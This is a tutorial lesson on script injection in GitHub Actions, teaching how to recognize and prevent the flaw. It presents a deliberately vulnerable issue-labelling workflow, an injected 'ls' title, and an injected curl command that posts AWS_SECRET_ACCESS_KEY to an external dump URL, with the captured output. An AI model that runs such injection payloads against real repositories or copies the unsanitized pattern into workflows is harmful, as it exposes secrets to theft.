Risk of Script Injection Attack

In GitHub Actions, accepting untrusted input—like an issue title—can enable attackers to inject shell commands that run on your runner. This not only compromises your workflow but also exposes sensitive secrets. In this lesson, we’ll walk through how a simple “bug” label workflow can be abused and how secrets might be exfiltrated.

Note

User-supplied data from GitHub events (e.g., github.event.issue.title) should never be used directly in run steps without proper validation or sanitization.

Example Workflow

The following workflow labels new issues that contain the word bug. It reads the issue title from the event payload and uses a shell if test to decide whether to print messages.

name: Label Issues (Script Injection)

on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/[email protected]

      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        run: |
          issue_title="${{ github.event.issue.title }}"
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG................"
          else
            echo "Not a bug"
          fi

This workflow:

Checks out the repository.
Retrieves the issue title.
Logs a message and (hypothetically) assigns a BUG label if the title contains “bug.”

Triggering and Initial Test

Push the workflow file to your main branch.
Open a new issue with the title bug in code.

When the workflow runs, it completes successfully:

The image shows a GitHub Actions workflow page for a repository, displaying the successful completion of a job labeled "assign-label" with various steps like setting up the job and adding a label.

Demonstrating Script Injection

An attacker can sneak shell commands into the title by using operators like : or ;. For instance:

Title:
bug: ls $GITHUB_WORKSPACE
Body:
testing.

The image shows a GitHub interface where a new issue is being created with the title "bug: ls $GITHUB_WORKSPACE" and a description "testing."

When the workflow executes, the injected ls command runs on the runner and prints the workspace contents:

The image shows a GitHub Actions interface with a job titled "assign-label" that has successfully run, displaying a list of files in the workspace and assigning a "BUG" label.

Exfiltrating Secrets

Beyond harmless commands, attackers can leak secrets. Consider this malicious issue title:

bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

Once the workflow runs, it executes the curl request and posts your secret:

# In the workflow step:
bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

Issue is about a bug!
Assigning Label - BUG

On the dump service, you’ll see your secret appear in the POST data:

POST /dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
Received at: 2023-10-25 07:55:58
Post Parameters
anything: kwlvBBZIMUyap7XzquB/ScxfPIDouINVszfF+

Warning

Unvalidated event data can execute arbitrary code on your runner and expose sensitive secrets like AWS_SECRET_ACCESS_KEY. Always sanitize or escape inputs before using them in shell commands.

In the next lesson, we’ll explore best practices and built-in GitHub Actions features to safely handle untrusted inputs and prevent script injection attacks.

Watch Video

Watch video content